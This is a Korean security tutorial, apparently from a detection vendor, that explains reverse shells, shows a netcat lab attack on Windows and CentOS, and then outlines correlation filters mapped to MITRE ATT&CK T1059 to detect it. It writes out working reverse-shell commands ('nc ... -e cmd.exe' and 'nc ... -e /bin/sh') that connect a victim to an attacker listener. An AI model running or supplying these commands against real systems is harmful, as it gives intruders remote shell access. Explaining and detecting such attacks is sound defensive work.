리버스 쉘(Reverse Shell)
목표 시스템의 취약점을 이용하여 쉘 세션을 시작한 다음 피해자의 컴퓨터에 액세스합니다.
목표는 원격 컴퓨터에 연결하고 공격자가 원격으로 액세스할 수 있도록 대상 시스템 쉘의 입력 및 출력 연결을 리다이렉션 하는 것입니다.
특정 피해 시스템에서 자신의 권한(cmd)을 사용하여 공격자 시스템에 연결하여 찾아가는 방식입니다.

리버스 연결을 하는 이유는 정보보호 제품의 네트워크 연결 구조 때문입니다.
외부에서 직접 접속은 모두 방화벽에 의하여 차단되지만, 내부에서 외부로의 연결은 좀처럼 관리되지 않고 있습니다.
그러므로, 해커 입장에서는 리버스 연결 통로를 이용하여 외부에서 내부로 편리하게 접속할 수 있게 됩니다.

다음은 NC(netcat)를 사용하여 리버스 쉘을 실행하는 예를 살펴 보겠습니다.


Test 환경
Attacker
172.16.13.99 / Windows 2016
Victim

172.16.13.97 / Windows 10


동작 시나리오
1. 공격자는 피해 서버에서 자신의 시스템에 찾아오도록 지정된 포트를 열어둡니다.

cmd>nc -lvp 1235

2. 피해 서버에서 첨부된 특정 파일(악성 파일)이 실행됩니다.

3. 피해 서버에서 공격자가 의도한 위치에 nc가 설치된 후 의도한 시간에  nc 명령어가 자동으로 실행됩니다.

4. 피해 서버에서 미리 설치된 nc를 실행시켜 지정된 공격자 서버로 연결합니다.

cmd>nc 172.16.13.99 1235 -e cmd.exe

5. 연결이 성공한 후 공격자 시스템에서 netstat 명령어를 이용하여 상태가 ‘ESTABLISHED’ 된 것을 확인합니다.

6.  공격자 시스템에서 피해 서버로 연결에 성공하여 내부 시스템에 접근하였습니다.

*nc(netcat)
– TCP 또는 UDP를 사용하여 네트워크 연결을 읽거나 기록하는 컴퓨터 네트워킹 유틸리티이다. 이 명령어는 의존 가능한 백엔드로 설계되어 있으며 다른 프로그램이나 스크립트에 의해 직접 사용되거나 쉽게 구동할 수 있다.

[1]

Options
-e: 연결 시 파일 실행
-l: listen 모드로 nc 실행
-p: port 지정
-v: 상세 정보 출력


이와 같은 공격을 탐지하기 위하여 다음과 같이 PLURA 상관분석필터를 생성해 보겠습니다.

[상관분석 필터]
Group 1. Reverse Shell – Outbound
Reverse Shell – Outbound 연결 시도 시 발생되는 로그입니다.

Group 2. Reverse Shell – cmd/PowerShell 실행 (with nc)
Reverse Shell – cmd/PowerShell 실행 (with nc) 시 발생되는 로그입니다.

[상관분석 탐지 결과]
마이터 어택> 명령 및 스크립팅 인터프리터 [T1059] [2]
공격자는 명령 및 스크립트 인터프리터를 남용하여 명령, 스크립트 또는 바이너리를 실행할 수 있습니다. 이러한 인터페이스와 언어는 컴퓨터 시스템과 상호 작용하는 방법을 제공하며 다양한 플랫폼에서 공통적 인 기능입니다. 대부분의 시스템에는 몇 가지 기본 제공 명령 줄 인터페이스 및 스크립팅 기능이 함께 제공됩니다. 예를 들어 macOS 및 Linux 배포에는 Unix Shell의 일부가 포함되어 있으며 Windows 설치에는 Windows Command Shell 및 PowerShell이 ​​포함됩니다. 


Linux Test
Attacker: 172.16.13.154 / CentOS 7
Victim: 172.16.13.155 / CentOS 7

동작 시나리오는 Windows와 동일합니다.
1. Attacker
# nc -lvp 1235

2. Victim
# nc 172.16.13.154 1235 -e /bin/sh

3. 공격자 시스템에서 피해 서버로 연결에 성공하여 내부 시스템에 접근하였습니다.

[탐지 필터] 마이터 어택> 명령 및 스크립팅 인터프리터 [T1059]

 

참고
[1] NC,  https://ko.wikipedia.org/wiki/Netcat[2] 명령 및 스크립팅 인터프리터 [T1059], https://attack.mitre.org/techniques/T1059/